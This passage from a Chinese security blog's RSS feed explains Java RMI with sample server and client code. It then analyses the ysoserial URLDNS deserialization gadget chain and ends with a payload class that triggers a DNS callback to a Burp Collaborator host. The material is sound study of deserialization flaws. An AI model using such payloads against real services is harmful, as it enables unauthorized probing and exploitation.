            Naming.rebind(RMI_NAME, rmiInterface);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
</code></pre>
<p>上述代码中，在8989端口起了RMI服务，以键值对的形式存储了RMI_PATH和rmiInterface的对应关系，也就是<code>rmi://127.0.0.1:8989/hello</code>对应一个RMIImpl类实例，然后通过<code>Naming.rebind(RMI_NAME, rmiInterface)</code>绑定对应关系。再来看RMIInterface.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String hello() throws RemoteException;
}
</code></pre>
<p>定义了RMIInterface接口，继承自Remote，然后定义了一个hello()方法作为接口。注意需要抛出RemoteException异常。继续看实现真正功能的类RMIImpl.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIImpl() throws RemoteException {
        super();
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("call hello().");
        return "this is hello().";
    }

}
</code></pre>
<p>继承自UnicastRemoteObject类，并且实现之前定义的RMIInterface接口的hello()方法。UnicastRemoteObject类提供了很多支持RMI的方法，具体来说，这些方法可以通过JRMP协议导出一个远程对象的引用，并通过动态代理构建一个可以和远程对象交互的Stub对象。现在就定义好了Server端，来看Client</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import static com.test.rmi.RMIServer.RMI_NAME;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8989);
            // 获取所有注册的服务
            String[] list = registry.list();
            for (String i : list) {
                System.out.println("已经注册的服务：" + i);
            }

            // 寻找RMI_NAME对应的RMI实例
            RMIInterface rt = (RMIInterface) Naming.lookup(RMI_NAME);

            // 调用Server的hello()方法,并拿到返回值.
            String result = rt.hello();

            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>我们可以通过Registry拿到所有已经注册的服务，其中就包括我们注册的hello。然后可以通过Naming.lookup(RMI_NAME)去寻找对应的hello实例，这样就拿到了远程对象，可以直接通过对象来调用hello()方法。</p>
<p>在Java 1.4及 以前的版本中需要手动建立Stub对象，通过运行rmic命令来生成远程对象实现类的Stub对象，但是在Java 1.5之后可以通过动态代理来完成，不再需要这个过程了。运行Server之后再运行Client输出结果</p>
<pre><code class="line-numbers">Server
启动RMI服务在rmi://127.0.0.1:8989/hello
call hello().

Client
已经注册的服务：hello
this is hello().
</code></pre>
<p>那么Registry去哪了？通常在新建一个RMI Registry的时候，都会直接绑定一个对象在上面，也就是说我们示例代码中的Server其实包含了Registry和Server两部分。我们用一张图来解释下。</p>
<p><img src="https://y4er.com/img/uploads/20200216017286.png" alt="image" /></p>
<h2>RMI的通信模型</h2>
<p>上一部分我提到了Stub对象，是因为RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制，真正的调用过程如图所示。</p>
<p><img src="https://y4er.com/img/uploads/20200216011185.png" alt="image" /></p>
<p>Client调用远程方法时，会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)对象，然后将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象，RemoteCall序列化服务名和Remote对象，RemoteRef将序列化之后的数据通过socket传输到Server的RemoteRef。</p>
<p>Server的RemoteRef收到远程调用请求之后，将数据传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)，Skeleton调用RemoteCall<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>传过来的数据，Skeleton处理客户端请求如：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到Client。</p>
<p>Client反序列化Server返回的序列化数据从而获得远程对象的引用。然后Client调用远程方法，Server反射执行对应方法并将结果序列化传输给Client，Client反序列化结果，整个过程结束。</p>
<h2>RMI需要解决的问题</h2>
<p>其实很明显的有两大问题<br />
1. 数据的传递问题<br />
2. 远程对象如何发现</p>
<h3>数据传递</h3>
<p>Java中是存在引用类型的，当引用类型的变量作为参数被传递时，传递的不是值，而是内存地址，而对于一台机器上的同一个Java虚拟机来讲，引用传递当然没有问题，而对于分布式的RPC调用，引用传递的内存地址在两个Java虚拟机中并不对等，所以怎么解决呢？</p>
<ol>
<li>使用序列化传递</li>
<li>仍然用引用传递，每当远程主机调用本地主机方法时，该调用还要通过本地主机查询该引用对应的对象</li>
</ol>
<p>RMI中的参数传递和结果返回可以使用的三种机制（取决于数据类型）：</p>
<p>简单类型：按值传递，直接传递数据拷贝；<br />
远程对象引用（实现了Remote接口）：以远程对象的引用传递；<br />
远程对象引用（未实现Remote接口）：按值传递，通过序列化对象传递副本，本身不允许序列化的对象不允许传递给远程方法</p>
<h3>远程对象发现</h3>
<p>RMI解决方式就是类似于域名对应IP的解决方式，<code>rmi://host:port/name</code>，不同的name对应不同的远程对象，注意主机和端口都是可选的，如果省略主机，则默认运行在本地；如果端口也省略，则默认端口是1099。</p>
<h2>RMI的序列化和反序列化</h2>
<p>在RMI的通信过程中，用到了很多的序列化和反序列化，而在Java中，只要进行反序列化操作就可能有漏洞。RMI通过序列化传输Remote对象，那么我们可以构造恶意的Remote对象，当服务端反序列化传输过来的数据时，就会触发反序列化。</p>
<p>利用的话我们可以使用<span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>，如图<br />
<img src="https://y4er.com/img/uploads/20200216016965.png" alt="image" /></p>
<p>客户端在sun.rmi.registry.RegistryImpl_Stub#bind中进行了序列化，这个类是动态生成的，所以在源码中找不到这个类。<br />
<img src="https://y4er.com/img/uploads/2020021601567.png" alt="image" /></p>
<p>服务端在sun.rmi.registry.RegistryImpl_Skel#dispatch 进行反序列化，同样是动态生成类。<br />
<img src="https://y4er.com/img/uploads/20200216014183.png" alt="image" /></p>
<h2>RMI-JRMP反序列化</h2>
<p>JRMP接口的两种常见实现方式：<br />
1. JRMP协议(Java Remote Message Protocol)，RMI专用的Java远程消息交换协议。<br />
2. IIOP协议(Internet Inter-ORB Protocol) ，基于 CORBA 实现的对象请求代理协议。</p>
<p>JRMP在传输过程中也会自动序列化和反序列化，利用过程和RMI一样，不再此赘述。</p>
<h2>参考链接</h2>
<ol>
<li>https://javasec.org/javase/RMI/</li>
<li>https://blog.csdn.net/lmy86263/article/details/72594760</li>
<li>https://www.cnblogs.com/afanti/p/10256840.html</li>
<li>https://xz.aliyun.com/t/5392</li>
<li>https://blog.51cto.com/guojuanjun/1423392</li>
<li>https://blog.hufeifei.cn/2017/12/14/Java/RMI%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/</li>
<li>https://www.jianshu.com/p/362880b635f0</li>
<li>https://www.anquanke.com/post/id/197829</li>
<li>https://xz.aliyun.com/t/2223 [这篇很清晰]</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ysoserial URLDNS分析</title>
		<link>/audit/1209.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:14:36 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1209</guid>

					<description><![CDATA[简单的gadget构造。 分析 先来看ysoserial的payload public Object getObject(final String url) throws Exce...]]></description>
										<content:encoded><![CDATA[<p>简单的gadget构造。</p>
<h2>分析</h2>
<p>先来看<span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>的payload</p>
<pre><code class="language-java ">public Object getObject(final String url) throws Exception {

    //Avoid DNS resolution during payload creation
    //Since the field &lt;code&gt;java.net.URL.handler&lt;/code&gt; is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();

    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

    return ht;
}
</code></pre>
<p>可以看到是HashMap类的问题，而触发<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>的⽅法是 readObject ，直奔 HashMap 类的 readObject ⽅法：</p>
<pre><code class="language-java ">private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor &lt;= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings &lt; 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings &gt; 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc &lt; DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc &gt;= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap &lt; MAXIMUM_CAPACITY &amp;&amp; ft &lt; MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node&lt;K,V&gt;[] tab = (Node&lt;K,V&gt;[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i &lt; mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}
</code></pre>
<p>在最后进行了hash(key)计算，跟进</p>
<pre><code class="language-java ">static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);
}
</code></pre>
<p>进行了hashCode()函数，而key此时是我们传入的 <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.net.URL 对象，那么跟进这个类的hashCode()方法看下</p>
<pre><code class="language-java ">public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}
</code></pre>
<p>当hashCode字段等于-1时会进行handler.hashCode(this)计算，handler是定义的URLStreamHandler字段，那么进入java.net.URLStreamHandler#hashCode()</p>
<p><img src="/wp-content/uploads/2020/02/20200216016235-1.png" alt="image" /></p>
<p>u是我们传入的URL，getHostAddress会进行<span class="wpcom_tag_link"><a href="/tags/dns" title="dns" target="_blank">dns</a></span>查询。整个链比较简单：<br />
1. HashMap->readObject()<br />
2. HashMap->hash()<br />
3. URL->hashCode()<br />
4. URLStreamHandler->hashCode()<br />
5. URLStreamHandler->getHostAddress()<br />
6. InetAddress->getByName()</p>
<h2>构造payload</h2>
<pre><code class="language-java ">package com.sera.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS implements Serializable {

    public static void main(String[] args) throws MalformedURLException, NoSuchFieldException, IllegalAccessException {

        URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) throws IOException {
                return null;
            }
        };
        HashMap hm = new HashMap();
        String url = "http://0jkp1tes60w8k6928kvujpirnit9hy.burpcollaborator.net/";
        URL u = new URL(null, url, handler);
        Class clazz = u.getClass();

        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u, -1);
        hm.put(u, url);
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/02/20200216015833-1.png" alt="image" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
